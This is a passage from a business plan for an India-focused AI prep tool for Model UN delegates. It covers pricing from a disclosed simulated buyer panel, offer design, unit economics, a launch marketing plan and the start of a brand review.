at all. +- If it did the citations properly so I did not have to worry. +- The coach telling us to use it. +- If it was 99, or free for a week. +- Seeing someone else's output from it, so I know it is better than my own prompting. +- A clear explanation of how it is meant to be used, so I do not feel like I am cheating. +- If it was about this year's agenda and not old stuff. +- Someone showing me it is measurably better, not just faster. +- It being framed as research I then write up myself. + +Buyers say they would buy **2.0 times** in the first month on average. + +40 buyers gave all four price answers. Run founder-pricing's van_westendorp.py on the answers folder. + +## Pricing + +### The decision + +**Keep ₹299 for the monthly pass. Keep ₹199 for the weekly pass. Add a capped ₹0 first experience.** The prices are right; what is missing is a way to get the first taste free. + +Evidence for the price itself is below. The important line is this one: **₹299 is not too high.** The buyers in the panel put their indifference point at ₹304 and were willing to go to ₹800 before they called it too expensive. If anything, this product is priced with room left on the table — and the CFO's model shows the same thing from the other side, where the whole business is nearly cost-insensitive to price. + +### What the buyers said + +From `founder/pricing-curve.md` (40 buyer answers, simulated — read the disclosure in `panel/results.md` first). Median answers: + +| Question | Median answer | +|---|---| +| So cheap I'd doubt it works | ₹80 | +| A bargain | ₹200 | +| Getting expensive | ₹600 | +| Too expensive, won't buy | ₹1,200 | + +| Point | Price | Reading | +|---|---:|---| +| Point of marginal cheapness (PMC) | **₹123** | Below this, buyers start doubting the quality. | +| Optimal price point (OPP) | **₹152** | The least-resistance price. Equal numbers call it cheap and expensive. | +| Indifference price point (IPP) | **₹304** | Equal numbers call it a bargain and expensive. | +| Point of marginal expensiveness (PME) | **₹800** | Above this, resistance overwhelms willingness. | + +**Acceptable range ₹123–₹800. The current ₹299 sits essentially on the indifference price point (₹304)** — inside the range, at the price where the market is genuinely undecided about value. ₹199 is also inside the range and closer to the "bargain" side. + +**Read these with the caveats loud, not quiet.** The sample is 40, it is simulated, and simulated buyers are agreeable. The *shape* of the answer is more reliable than its level: buyers see cheapness and expensiveness as equally likely at ~₹300, and only start refusing around ₹800. That shape says the ceiling is not the problem. + +### Why the current price is right + +1. **It is anchored to a real number the buyer already paid.** A Delhi MUN delegate fee is around **₹2,500**, and conference travel runs higher. A ₹299 monthly pass is ~12% of the entry cost, and a ₹199 weekly pass is less than a day's travel. That is the strongest anchor in this whole pack and it is the one to *say out loud in the pitch*. +2. **It is deliberately below the general-purpose alternative.** ChatGPT Go is ₹399/month in India. Being cheaper than the thing the delegate was already considering makes the buy easy. It is also roughly one-fifth to one-sixth of the specialist leader (Model Diplomat, ~₹1,060–1,760/month). +3. **The weekly pass matches the actual unit of the decision.** A delegate prepares for *one* conference. ₹199 for the week of that conference is the sharpest product shape in the business, and the panel confirms it — one buyer (P020, a school delegate whose parents pay) said outright that the weekly plan is the only reason she would say yes, because a monthly plan is a waste for one conference. +4. **The margin holds at any plausible price in the range.** At ₹299 the contribution is ₹254 (85%). Moving to ₹399 lifts year-1 profit from ₹329,566 to ₹468,496 and raises the margin to 87%. Moving to ₹199 still leaves a healthy business. **Price is not where this business is fragile.** + +### The change to make + +**Add a free first experience — and be specific about it, because "add a free tier" is advice, not a decision.** Three options, ranked by what they cost and what they prove: + +| Option | What it is | Cost to the founder | What it proves | +|---|---|---|---| +| **A. One free brief per account** *(recommended)* | New account gets one complete Quick-mode research brief for their own committee, agenda and country, once, no card. After that, pay. | ~₹0.07 of inference + the abuse controls already in place | Whether the output is good enough to be worth ₹199 — the exact question every non-buying buyer asked | +| **B. Two-day trial on the weekly pass** | Time-boxed access to the weekly pass, no card, once per account | same inference, higher token abuse risk | same, plus whether they come back | +| **C. Free tier in the leader's shape** | 5–10 requests/day forever | recurring inference on freeloaders, plus it weakens the paid conversion | the leader's model, copied — it works, but it costs the most and models a different business | + +**Do A.** It costs approximately seven paise, it answers the single loudest objection in the panel ("why should I pay before I've seen if the output is any good?" — 4 buyers, plus "any free trial at all" as the top flip condition), and it requires no change to the price or to the plan structure. The panel's *most common* flip condition, across every segment, was a free look at the output. Option C is how Model Diplomat does it and would trade away the paid-only discipline that keeps this business simple; it is the right move only after A proves the output converts. + +### What the pricing should NOT be + +- **Do not discount to ₹99 or "₹49 first month".** The buyers already flag low prices as suspicious — ₹123 is the floor where they stop believing the quality. A launch discount teaches the market the true price is lower and it is hard to climb back from. +- **Do not launch a school/delegation price from the same page, yet.** The block sale is real (the panel's club-head cohort bought at 40% and one explicitly asked for a delegation price), but the shape of a school deal — seats, invoice, term dates, a teacher's sign-off — is a sales process, not a price point. Prove it with two real schools first, then put a number on it in `offer.md`. +- **Do not sell per-request or per-token.** The mode toggle already leaks the cost story to the buyer, which is a competitive weakness, not a feature. Nobody buys a MUN paper in "tokens". +- **Do not raise the price before the free brief exists.** The panel says they'd pay ₹800 before refusing. They also said they will not pay before they see. Fix the seeing first; then the price has room. + +### When to revisit + +- **After 50 real paying customers:** replace the panel's shape with real conversion data at ₹199 and ₹299 and re-run `van_westendorp.py` on real answers. +- **If the free brief converts above ~15%:** the ceiling is higher than modelled. Test ₹399 on new visitors rather than raising the existing price. +- **If the free brief converts below ~3%:** the problem is the output, not the price. Do not cut the price — that would hide the real finding. +- **If a school deal closes:** the per-seat effective price will be well below ₹299 and that is fine, because the block eliminates acquisition cost per delegate. + +**The one pricing sentence worth remembering:** the business's pricing is not broken, its *funnel* is — there is no way to experience the product before paying, and that is the exact question the loudest non-buyers asked. Fix the free first look, and the existing price should hold. + +## The offer + +### The offer today, stated plainly + +> *Pay ₹199 for a week (or ₹299 for a month). You cannot try it first. You cannot see the price until you sign in. There is no refund policy stated on the site. If it does not work for you, you have lost the money and the week.* + +That is not an offer. **That is a price with a gamble attached.** The price is validated; the *offer* fails, and it fails for exactly one reason: it shifts every rupee of risk onto the buyer *before* they have seen a single line of the product's output. + +### What the panel proved + +**9 bought, 31 passed — a 22% buy rate, below the 25% bar.** Read the disclosure in `panel/results.md`: the panel is simulated, so treat 22% as a direction, not a measurement. But the *reasons* are the useful part, and they cluster brutally: + +| Reason they passed | Buyers | The objection, in their words | +|---|---:|---| +| **Trust** | 10 | *"I don't trust AI facts in committee, the chair will catch me out."* (P002) · *"I could not find anyone who used this. That is not proof it works, that is proof nobody is saying it does."* (P004) | +| **Price** | 7 | *"There is no free trial and I never pay full price for something I have not tested."* (P005) · *"299 is a whole week of lunch."* (P008) | +| **Other (the coach)** | 5 | *"Our school coach runs sessions and my parents already paid 2500 for the conference. I will ask him, not an app."* (P007) | +| **Convenience (the free substitute)** | 5 | *"A senior in my WhatsApp group sent me their whole folder of old papers."* (P012) | +| **Quality** | 3 | *"At 11pm the night before I would pay anything, but you have to show me something first."* (P025) | + +**The single most common flip condition across the whole panel was: show me the output first.** Four buyers asked directly for it; it was the top answer to "what would change your mind" in every segment. + +### The bigger problem the panel exposed + +The panel is not only telling us the offer lacks proof. It is telling us **who the product is sold to is wrong.** + +| Behaviour group | Buy rate | +|---|---| +| Award chaser, reads past papers | **60%** | +| First conference, no idea what to expect | **50%** | +| **Prepares the night before** (the biggest group, 8 buyers) | **0%** | +| **Deals hunter** | **0%** | +| **Nobody has used this, asks seniors** (the trusters) | **0%** | +| Already uses ChatGPT for everything | **11%** | + +The buyers are the **committed** ones: award chasers and first-timers who are scared. The passers are the **situational** ones: the late-night crammer, the deal-hunter, the sensible one who asks a senior first. And by segment, **the club head or coordinator bought at 40% — the highest rate in the panel.** + +**So the offer is chasing the wrong buyer.** It is priced and pitched at the casual delegate (₹199 for a week, "prepare like your committee starts tomorrow") while the people who actually say yes are the ones who *care about the outcome* — the award chaser with three conferences this season, and the coordinator who needs it for twenty people. + +### The offer to build instead + +#### For the delegate: **"The conference week" — ₹199, and you see it before you pay for it.** + +**The stack, in the order they experience it:** + +1. **A free brief, on your real committee.** Enter your committee, your agenda and your country. Get one complete research brief. No card, no sign-in beyond the account you already have. *This is the whole risk reversal, and it costs the founder about ₹0.07.* +2. **A week of full access for ₹199** — timed to *the date of your conference*, not to the calendar. The workspace asks when the conference is and shapes itself around the remaining days. +3. **The delegate's kit:** research brief, country position, position paper, opening speech, POIs, resolution clauses, and the courses/glossary tab when they hit a term they don't know. +4. **The guarantee: if the conference doesn't go better than it would have without it, tell us within 7 days and we'll refund it.** Word it exactly that loosely, and honour it without argument. At ₹0.07 per brief and UroPay charging nothing per transaction, the refund rate is far cheaper than the conversion rate it buys. *This is a founder decision, not a legal document — keep it as plain as it is written here and get an accountant's eye on the wording before publishing.* +5. **Proof, as it arrives.** Publish the first delegate who agrees to be named, with their conference, their committee, their result and their actual words. **Do not write a testimonial for anyone.** Until then, publish the *sources*: a public page showing where the facts in a MUN Prep brief come from. + +#### For the school or club: **"The delegation" — priced per block, not per seat.** + +The panel's highest buy rate (40%) and the clear ask from a club head (*"If it works I want it for twenty people, not one"*). The shape is a term-length block for a delegation, invoiced to the school or the club, with the coordinator as the buyer and the delegate as the user. **The number is not set yet** — there are no real school deals to price from, so this goes to `ops.md` and `launch.md` as a task, not as a guess. What is decided here is the *shape*: one invoice, many seats, a term of access, and the coordinator deciding — not twenty teenagers each deciding on their own. + +### Killing the three leaks + +None of the offer work lands unless these are fixed, and they are all one-line changes: + +1. **The price is behind a sign-in.** `/pricing` redirects anonymous visitors to `/auth/signin`. A delegate who cannot see the price cannot decide anything. **Show the price, and show it on the landing page.** +2. **There is no way to feel the product before paying.** Fixed by the free brief above. +3. **The site says nothing about what happens if it doesn't work.** Fixed by the guarantee above, written in one sentence a 15-year-old can parse. + +### The first sentence + +The current headline is *"Prepare like your committee starts tomorrow."* It is well written and it sells the wrong thing — it is aimed at the last-night crammer, **the group with a 0% buy rate.** + +The offer's headline should name the buyer who actually buys, and the moment that buyer is in: + +> **Three weeks to your conference. Your committee, your country, your brief — before you pay.** + +That sentence names the committed delegate (an active season, a date in hand), promises the specific artefact, and kills the two biggest objections in the same breath: *you see it first*, and *it is shaped around your deadline*. + +### What not to do + +- **Do not add features to answer the objections.** The panel's passers did not say "it needs more modes". They said "I don't trust the facts" and "show me first". More modes would make the cost problem worse and answer none of it. +- **Do not answer the trust objection with clever copy.** The trust objection gets answered by retrieval, by sources the delegate can open, and by other delegates' results — in that order. **The copy problem is not a copy problem.** +- **Do not discount the price.** ₹123 is where buyers start distrusting the quality, per the pricing curve. A discount below that would convert *worse*, not better. +- **Do not launch the school offer blind.** Get two schools to agree before publishing a per-delegation price, or the first number becomes the anchor forever. + +### Does this offer pass the value equation? + +**Dream outcome: yes** — a delegate who speaks well and might win has a dream outcome, and it is measurable in an award. + +**Perceived likelihood: currently no, and that is the whole battle.** The delegate does not believe the output is true. This is a *product* problem presenting as a marketing problem: no citations, no retrieval, no third-party proof, no free trial, and a direct competitor whose entire pitch is "we don't make things up". + +**Time delay: excellent** — a brief in about a minute, on a phone, the night it's needed. + +**Effort and sacrifice: poor, and it is the easiest fix in the pack** — sign in, then pay, then discover, with the price hidden until account creation. Every one of those steps is a deliberate choice that can be reversed in an afternoon. + +**Two of the four favour the buyer strongly. One is a product flaw that must be fixed in the product. One is a copy-and-flow flaw that must be fixed today.** That is a good place for an offer to be: it is not a reason to stop, it is a reason these specific changes are the next thing to build. + +## The numbers + +> **Currency:** every figure below is in **Indian rupees**. The tool prints `$` because it was written for a café, not for rupees. Read `$299.00` as ₹299. +> +> **Dates of the inputs:** model prices are the published Z.ai and Moonshot list rates (Sep–Oct 2026); the USD→INR conversion used is **₹88 = $1** (a soft assumption — check the live rate; every inference number moves with it). + +### The CFO's note + +**The margin: 85% contribution, ₹254 per monthly pass.** Price ₹299, less ₹7 of GLM-5.3-Flash inference on the default path, less ₹18 of Kimi K3 inference on the Max path, less ₹20 of amortised referral commission. Fixed costs are ₹1,943/month, so **break-even is about 8 passes a month** — one approximately every four days. This is a very forgiving cost structure. UroPay is a genuine gift here: **zero per-transaction commission** removes the 1.5–3% that would otherwise come off every single sale, and at this volume the flat plan is ₹100/month. + +**The line to watch is not the ramp — it is the mode mix.** I assumed a typical pass-holder makes 30 requests a month, of which ~1.5 are Max. Under that assumption the business is comfortable. But: + +| Kimi K3 ("Max") requests per day | Inference cost/month | Against ₹299 of revenue | +| ---: | ---: | --- | +| 1 | ₹416 | **already a loss of ₹117** | +| 5 | ₹2,079 | loss of ₹1,780 | +| 10 | ₹4,158 | loss of ₹3,859 | +| 25 (the caps allow ~25/day) | ₹10,395 | loss of ₹10,096 | + +A single Kimi K3 request costs **₹13.86 — 191× a Quick request.** One Max user who uses the tool lightly-but-consistently, at one Max request a day, **costs more than they pay.** Modelled with a heavy Max user as the *average* customer, contribution goes to **−₹1,800 per pass (−602%) and the business never reaches break-even at all** — a year-1 loss of ₹25 lakh on ₹4.15 lakh of revenue. That is the only input in this model that can turn a good business into an insolvent one. + +It is also entirely within the founder's control, and it is not being controlled today: **the Quick/Thorough/Max toggle is user-selectable on both plans, and the per-user daily cap (60 requests / 300,000 tokens) is identical on a ₹199 weekly pass and a ₹299 monthly pass.** The caps bound a user's damage to the company at roughly **₹11,880 per month** — 40× what that user paid. Nothing in the system ties the expensive model to the amount of money received. + +**Cash: the founder needs about ₹15,400 to get to self-funding** — ₹15,000 of startup spend (domain/tooling, and the launch test budget) plus the month-1 shortfall. Cumulative cash turns positive in **month 4**. Payback on the startup spend is fast because the fixed base is only ₹1,943/month. + +**The good news, and it is worth stating plainly: this business survives a bad ramp.** At 40% of the planned volume — fewer than 4 passes a day at year end, roughly 100 active subscribers instead of 255 — the margin holds at 78% and year 1 still clears **₹117,837**. Volume risk is well absorbed. Cost risk on the Max path is not. + +**Three ways to improve the margin, each with the number it changes:** + +1. **Put Kimi K3 behind the paid tier, or price it.** Making Max a Monthly-Pass-only feature and capping it (say 20 Max requests per pass, then it falls back to GLM-5.3-Flash) removes the tail entirely: the ₹18 Max line in the base case becomes a hard ceiling instead of an open tap. *Changes: the entire −₹1,800/pass downside scenario.* +2. **Cut the mode toggle to one default and let the server choose.** If 90% of requests run on GLM-5.3-Flash by default, inference per pass falls from ₹25 to roughly **₹8**, lifting contribution from ₹254 to **₹271 (+₹17/pass)**. *Run `--volume`-style what-ifs on the unit cost to see it; the lever is the model, not the price.* +3. **Raise the price.** The buyer panel's acceptable range runs to ₹800 and its indifference point is ₹304, so ₹299 is not the ceiling — it is roughly the **midpoint of what these buyers say they would pay**. Moving the monthly pass to **₹399** adds ₹100 of contribution per pass (+39%) with no change to the cost base. *Run `--price 399`: year-1 profit rises to about ₹468,000.* + +**On the board's conditions about money:** the board set no numeric financial condition — it asked for proof of demand and a plan for distribution, which are the panel's and marketing's jobs, not mine. What I can say is that **the financial structure is not the problem.** On these inputs the business is profitable at a scale a solo founder can plausibly reach, needs almost no capital, and breaks even in month 4. The money question is not *can it work* but *will anyone pay*, and I cannot answer that from a spreadsheet. + +**One caution on the inputs:** the ₹25/pass inference figure is the least solid number here, because nobody has usage data yet — it is built from token-ceiling estimates in the code, not from observed usage. Instrument real usage before trusting it. Of everything in this pack, this is the number to replace with a measurement. + +**Not financial, tax or legal advice.** Get an accountant to check the structure, any GST position on digital services, and how the referral commissions should be treated before money moves. + +--- + +## Unit economics: MUN Prep App — AI preparation workspace for Model UN delegates (India-first). All amounts in Indian rupees (INR); the tool prints '$' where it means rupees. + +Every number below comes from the input file. Nothing is looked up or guessed. + +### One monthly pass (30 days of access) + +| line | per monthly pass (30 days of access) | +| --- | ---: | +| Price | $299.00 | +| NVIDIA inference, GLM-5.3-Flash — ~28 Quick/Thorough requests at $0.15/M in, $0.50/M out | -$7.00 | +| NVIDIA inference, Kimi K3 — ~1.5 Max-mode requests at $3/M in, $15/M out | -$18.00 | +| Referral commission 16.72% of the first payment, amortised across all customers (assumes ~40% arrive via a partner) | -$20.00 | +| **Contribution** (what each monthly pass (30 days of access) leaves to pay the fixed costs) | **$254.00** (85%) | + +### The margin that matters + +Fixed costs: $1,943 a month (Vercel Pro (commercial use is not permitted on the free Hobby tier) $1,760, UroPay Growth plan (flat, up to 50 transactions/month, zero per-transaction commission) $100, Domain name, annualised $83, Supabase free tier $0). + +- **Break-even: 1 monthly pass (30 days of access)s a day.** Below that you lose money every month. +- **Profit margin at your plan** (8 a day): **82%** of every sale, after every cost. + +### Year 1, month by month + +| month | monthly pass (30 days of access)s a day | revenue | profit | cumulative (after $15,000 startup) | +| ---: | ---: | ---: | ---: | ---: | +| 1 | 0 | $1,794 | -$419 | -$15,419 | +| 2 | 0 | $4,216 | $1,638 | -$13,781 | +| 3 | 1 | $7,804 | $4,686 | -$9,094 | +| 4 | 2 | $13,455 | $9,487 | $393 | +| 5 | 2 | $20,362 | $15,354 | $15,747 | +| 6 | 3 | $27,538 | $21,450 | $37,198 | +| 7 | 4 | $35,880 | $28,537 | $65,735 | +| 8 | 5 | $44,850 | $36,157 | $101,892 | +| 9 | 6 | $53,192 | $43,244 | $145,135 | +| 10 | 7 | $61,265 | $50,102 | $195,237 | +| 11 | 8 | $68,800 | $56,502 | $251,739 | +| 12 | 8 | $76,245 | $62,827 | $314,566 | + +- **Year 1 operating profit: $329,566** on $415,401 of revenue. +- After the $15,000 startup spend: $314,566. +- Startup money earned back: month 4. +- Cash you need before it pays for itself: **$15,419**. + +### What if + +| scenario | margin at plan | break-even a day | year 1 profit | +| --- | ---: | ---: | ---: | +| Base plan | 82% | 1 | $329,566 | +| Price -10% | 80% | 1 | $288,026 | +| Volume -20% | 82% | 1 | $258,990 | +| Unit costs +15% | 80% | 1 | $320,188 | + +No red flags in these numbers. They are only as good as the inputs: check every cost against a real quote. + +## Marketing + +**Launch = the day the free first brief goes live.** Not the day the product first existed; the product is already online and its current funnel converts nobody, because nobody can see it. Everything below is dated from that day. `Day 0` is launch day. + +### Rules I am holding myself to + +- **The panel quotes in this pack are research, not testimonials.** They are simulated. Not one of them goes on the website, in an ad, or in a caption. +- **No invented reviews, follower counts, awards or "as seen on".** When proof does not exist yet, the campaign sells the *demonstration* instead — the free brief is real, verifiable proof of the product itself, and it is the honest asset to lead with. +- **Panel evidence sets the audience, not my taste.** The buyers were award chasers (60%), first-timers (50%) and club coordinators (40%). The 0% groups get no money spent on them. + +### Positioning + +Three versions, then the one to use. + +**A — for the committed delegate (recommended)** +> For MUN delegates with a conference date in the next month and an award on their mind, MUN Prep is the preparation workspace that turns your committee, your agenda and your country into a research brief, a position paper and a speech you can actually deliver — in the time a free chatbot takes to give you something too generic to say out loud. + +*Evidence:* award chasers bought at **60%** and first-timers at **50%**, against 11% for "already uses ChatGPT" and **0%** for "prepares the night before" and the deal hunters. The award chaser said it best: *"I am one award away from a good university application."* Sales go to the delegate who already cares about the outcome. + +**B — for the coordinator** +> For the student who runs their school's MUN club, MUN Prep is the delegation-wide prep system that gets twenty first-timers ready for one conference from a single account and a single invoice — instead of everyone prompting ChatGPT and hoping. + +*Evidence:* the club-head cohort had the **highest buy rate in the panel (40%)** and asked for it directly: *"If it works I want it for twenty people, not one."* This is the version with the biggest money behind it, and the one that requires a sales conversation rather than a landing page. + +**C — the honest anti-positioning (use in comparison content only)** +> MUN Prep is cheaper than the specialist tools and faster than prompting a general chatbot — and we will show you a brief free before you pay, because we know the only question that matters is whether the output is any good. + +*Evidence:* the top flip condition in every single panel segment was *show me the output first*. This version makes a weakness into a demonstration and is the only positioning that answers the trust objection head-on without claiming a rigour the product does not yet have. + +**Use A as the site's headline and message. Use B in outbound to schools and clubs. Use C on the comparison and FAQ pages, where the objection is already in the visitor's head.** + +**Test:** A and C are both defensible and the pack cannot settle between them from 40 simulated answers. Run both headlines against the same traffic for two weeks; the one with the better click-to-free-brief rate is the site's headline. That test costs nothing but a copy change. + +### Channels — two to start, three others explicitly not + +| Channel | Why it fits *this* buyer | Cost | How I'll know it worked | +|---|---|---|---| +| **1. School and club MUN coordinators (direct outreach + a conference-market stall)** *(primary)* | The highest-converting cohort in the panel, and the only one where one conversation produces many users. Teachers and club heads are findable, they answer email, and they are the ones holding the delegation's prep time. This is the block sale from `offer.md`. | Time. Maybe ₹2,000–5,000 for printed delegate cards and a stall at one conference. | **Meetings booked and delegations activated.** A delegation of 20 is worth ~20× a single signup in prep hours and 1 invoice in admin. | +| **2. MUN Instagram content, built to be saved and shared** *(primary)* | This is where the delegate already is, and the format suits the product: a 30-second before/after of a position paper, or a screen recording of one brief being generated. The delegate who *sends it to their club group* is the distribution. | ₹0 to produce; ₹0 media. | **Free-brief starts with a referrer from Instagram.** Watch saves and shares, not likes. | +| ~~Paid Instagram/Meta ads~~ | **Do not run these.** See the CAC maths below — the economics do not allow it. | — | — | +| ~~Google search ads~~ | The searcher here types "mun position paper" and finds a free generator that works with no login. Winning that auction to sell a ₹299 pass is paying to lose. | — | — | +| ~~Influencer/creator paid posts~~ | Wrong economics at this price point (see CAC below), and the panel's trust cohort discounts paid praise anyway. Do it later with *unpaid* creators who actually use it, disclosed. | — | — | + +**The channel the pack's evidence actually points at is the one that is hardest to scale: the coordinator conversation.** That is a warning worth stating plainly — the highest-converting channel here is a sales channel, and the founder is the only salesperson. Everything else in this plan is supporting cast. + +### The CAC ceiling — why paid ads are off the table + +From `cfo.md` and the panel: + +- Contribution per pass: **₹254** +- Purchases per buyer in the first month: **2.0** (panel) +- Value of a first-month customer: **₹508** +- **Maximum sensible cost to win a customer, at the standard one-third-of-value ceiling: ₹169.** + +Now the reality of Indian paid social: a click on a student-interest ad costs roughly ₹2–8, and a landing page → free brief → paid conversion for a ₹299 impulse purchase might generously run 2–5%. At ₹5/click and 3%, **CAC is ~₹167 — sitting exactly on the ceiling, before any of the creative cost, and with zero margin for error.** + +**The conclusion is not "ads are expensive". It is that this product can never be bought with paid traffic at ₹299 with a 30-day life.** Growth has to come from channels where the marginal cost of a customer is a conversation or a share, and the only two of those available are the coordinator and the club group. *If ads are ever tested, the only defensible test is ₹5,000 total, judged on free-brief starts (not sales), and stopped the day it is spent.* + +### The 30-day campaign + +| Day | What goes out | Channel | Message | +|---|---|---|---| +| **-14** | Fix the funnel: price visible on the landing page, `/pricing` no longer redirects to sign-in, the free brief built and working | Product | *(not marketing — but nothing below works until this ships)* | +| **-10** | 20 coordinator conversations booked, 10 conferences picked from the mymun calendar for Oct 2026 – 2027 (season peaks Jan–Mar and Aug–Nov) | Direct outreach | "I built a prep tool for MUN delegates. Can I show it to your club for free and hear what's wrong with it?" | +| **-7** | The first 5 real delegate briefs generated and read end to end, on real committees, by real delegates | Product + DM | Nothing public. This is the honesty check: if the output is not good, the launch stops here. | +| **-3** | Launch post #1: the problem, told straight | Instagram | "Every delegate writes their position paper at 11pm the night before. Here's what that looks like for your committee." | +| **-1** | Coordinator emails sent to all 20, individually written | Email | "Free for your club's delegates for the first conference this season. One account, tell me if it's useful." | +| **0 (launch)** | The free brief goes live. Launch post #2: the demonstration | Site + Instagram | Screen-recorded: committee + agenda + country in, complete brief out, in real time. No cuts. | +| **1** | Launch post #3: the honest comparison | Instagram + site FAQ | "This is what ChatGPT gives you (screenshot). This is what we give you (screenshot). Judge for yourself — the first one's free." | +| **2** | First coordinator call | Call | Listen, do not pitch. Every objection goes into a file. | +| **3** | Post #4: the conference countdown | Instagram | "Your conference is in 19 days. Here's the prep order that actually works: research → position → speech → POIs → clauses." *(links to a free in-app checklist, paywalled at the writing step)* | +| **5** | Behind the scenes | Instagram story | The mode toggle being deleted because it confused a real delegate. Show the work. | +| **7** | **The number check** *(see below)* | Internal | If free-brief → paid conversion is below 3%, stop the campaign and re-read the objections. Do not raise ad spend. | +| **8** | The weekly-pass push for the closest conference | Instagram + DM | "Second Saturday of the month: most Indian conferences are 3 weeks out. ₹199 covers the whole prep week." | +| **10** | Second coordinator call, with their delegates' actual use | Call | Ask for the delegation deal shape. | +| **12** | Post #5: a real delegate's actual result | Instagram | **Only if a delegate consents and it happened.** If it did not, post the sources page instead. | +| **14** | The "who this is not for" post | Instagram | "If you already have a coach and a folder of senior papers, you don't need this. Save your money. Here's a free checklist instead." *(Builds trust with the 0% segments without chasing them.)* | +| **16** | Second number check | Internal | Free-brief starts, conversion, delegations activated. | + +**When there is nothing new to say:** post the making of. A solo founder building for Indian MUN delegates, showing the actual trade-offs (why the school price is not published yet, why a mode toggle got deleted, what a brief costs to generate) is the most credible content this business has, and it costs nothing. + +### Ten hooks — each one answers a panel objection + +*All ten are written as first-person-or-direct address, for Instagram (3-second opening line) unless marked.* + +1. **Answers "I don't trust AI facts in committee, the chair will catch me out" (10 buyers — the biggest objection).** + *"Before I put anything in a speech, I check every claim — here's the 30-second check I do, and here's what your own committee needs you to know."* **Do not claim the tool is accurate. Show the check.** *(The product fix for this is retrieval; until then, teach the check.)* + +2. **Answers "ChatGPT is free and it's already on my phone."** + *"I've got ChatGPT too. Watch what it gives me for 'UNEP, India, climate finance' vs what I can actually stand up and say."* + +3. **Answers "show me before I pay" (the top flip condition in every segment).** + *"Your committee. Your country. One full brief free, no card. If it's bad, tell me and I'll delete it."* + +4. **Answers "299 is a lot of my pocket money" (7 buyers).** + *"Your conference fee was ₹2,500. This is ₹199 for the week — less than your travel, and you spend the travel either way."* + +5. **Answers "I only need this once, the night before."** + *"The night before is too late. Here's the 14-day prep order — and here's the one thing to do tonight."* + +6. **Answers "my school coach already preps us for free."** + *"Your coach is right. Show this to your coach — if it saves them a Saturday, it's worth telling the school about."* *(Turns the coach from competitor into channel — the honest move.)* + +7. **Answers "I'll just ask a senior for their old position paper."** + *"A senior's paper from 2023 will get you a 2023 answer. Here's how to check whether it's still true."* + +8. **Answers "will my chair penalise me for AI-written work?"** + *"You should write your own paper. That's what the conference is for. Here's how to use a tool for the research and still hand in your own work."* *(This is the honest position and it needs saying out loud, in those words.)* + +9. **Answers "I run the club, I need it for everyone" (the 40% cohort).** + *"If you run your school's MUN club, DM me. I'll set your whole delegation up for your next conference — and tell me what's broken."* + +10. **Answers the whole objection set at once — the honest one.** + *"This is a tool built by one person for Indian MUN delegates. It's not as good as the expensive ones yet, it's a fifth of the price, and I'll show you the output before you pay. If that's not enough, don't buy it."* + +### Budget + +Total: **₹10,000**, all of it already in `numbers.json` as launch budget. + +| Line | Amount | Why | +|---|---:|---| +| **Printed delegate cards + a stall at one conference** | ₹5,000 | The one place the target buyer is physically in a room, already thinking about prep, with their club coordinator standing next to them. Not branding — a QR code to the free brief. | +| **Two half-day trips for coordinator meetings** | ₹3,000 | The highest-converting channel needs the founder in the room. | +| **Everything on Instagram** | ₹0 | Content costs time, which is not being billed here. | +| **Paid ads** | ₹0 | See the CAC ceiling — this is not discipline, it is arithmetic. | +| **Reserve** | ₹2,000 | The first thing that needs money once something starts working. | + +### The three numbers to watch weekly, and what means "change something" + +| Number | Healthy | **Change something if** | +|---|---:|---| +| **Free-brief → paid conversion** | ≥10% | **Below 3%.** The output is not good enough — no amount of marketing fixes it, and the response is to make the brief better (or reposition to strategy coaching), not to spend more. | +| **Free-brief starts per week** | 100+ from organic by week 4 | **Below 25.** The audience is wrong, not the product — go back to the coordinator channel, which is where the buyers actually were. | +| **Delegations (schools/clubs) activated** | 2 by day 30 | **0 by day 30.** The highest-converting cohort is unreachable, which kills the block-sale thesis in `offer.md` and means the whole plan rests on individual sales at ₹299 — the hardest path. | + +**The weekly question is not "how many sales did we get". It is "who tried it and did not buy, and why".** That is the only number in this plan that produces information instead of a mood. + +### What will not be done, and why + +- **No paid acquisition.** The arithmetic forbids it at ₹299 with a 30-day customer life. +- **No influencer payments.** Same arithmetic, and the panel's trusters discount paid praise. +- **No fake social proof.** There is none yet; the free brief is the proof, and it happens to be a better one. +- **No marketing to the "prepares the night before" segment.** They are the largest group in the panel and they bought at **0%**. Marketing to them would burn the entire budget to reach people whose stated problem is that they do not prepare. +- **No claim of accuracy that the product cannot yet keep.** Not in an ad, not on the landing page, not in a hook. **This is the one rule that would do lasting damage to break.** + +## Brand + +The business already has a brand, and it is better than a new one would be. This file names it, protects it, and fixes the one thing wrong with it — which is not the look. **The look is right. The promise is the part that lies.** + +### What exists today, read from the code + +- **Name:** "MUN Prep App" (`app/layout.tsx` metadata, `lib/site-pages.ts` — 28 uses). The site's own name is *MUN Prep*; "App" is a suffix in the title tag. +- **Palette** (`app/globals.css`): paper `#f7f3ea`, ink `#171412`, **oxblood `#7a1f2b`**, **brass `#b78a42`**, **patina `#1d6f68`**, muted `#625951`. +- **Type:** serif display (`Georgia, Cambria, "Times New Roman"`), humanist body (`Aptos, "Avenir Next", "Segoe UI"`), mono for data (`Cascadia Code, Consolas`). +- **Voice, as actually written on the site:** "Prepare like your committee starts tomorrow." · "Research, draft, and debate from one focused Model United Nations prep workspace." · "View access". + +This is a **documents-and-diplomacy** identity: aged paper, a diplomatic oxblood, a brass institutional accent, a patina green like oxidised bronze, and serif headings — the visual language of treaties, letterheads and committee placards. It reads serious, literate and slightly archival. For a product whose output is a position paper, that is precisely the right metaphor, and it is a *better* brand than most competitors'. It should not be thrown away. + +**The fix is one line of copy, not a redesign.** + +### Name + +Ten candidates, in the skill's five styles. + +| Style | Candidate | What it says | Reads / sounds | Risk | +|---|---|---|---|---| +| Descriptive | **MUN Prep** *(incumbent)* | Exactly what it is | Plain, memorable, easy to spell in a WhatsApp message | Generic; hard to own, easy to confuse with coaching services. Search results are already crowded with free "MUN prep" content. | +| Descriptive | Delegate Desk | A workspace for a delegate | Warm, adult | Sounds like furniture. "Desk" implies static. | +| Evocative | **Caucus** | The heart of committee procedure | Short, sharp, in-group | A common word — impossible to trademark in isolation, collides with US political usage. | +| Evocative | Placard | The delegate's name card | Beautiful and specific to MUN | Opaque to a first-timer; nobody searches it. | +| Evocative | Gavel | Authority, the chair | Instantly understood | Reads as a law-school or debate product, not MUN prep. Heavily used. | +| Invented | Delegat. | Delegate, abbreviated | Typo-prone | Too clever; people will type "delegate" and land elsewhere. | +| Invented | Munify | MUN, made | Fun, brandable, a real coined word | Skews childish for the award-chaser buyer, who is the one who actually pays. | +| Founder's name | Schincariol MUN Prep | Personal accountability | Unspellable for an Indian 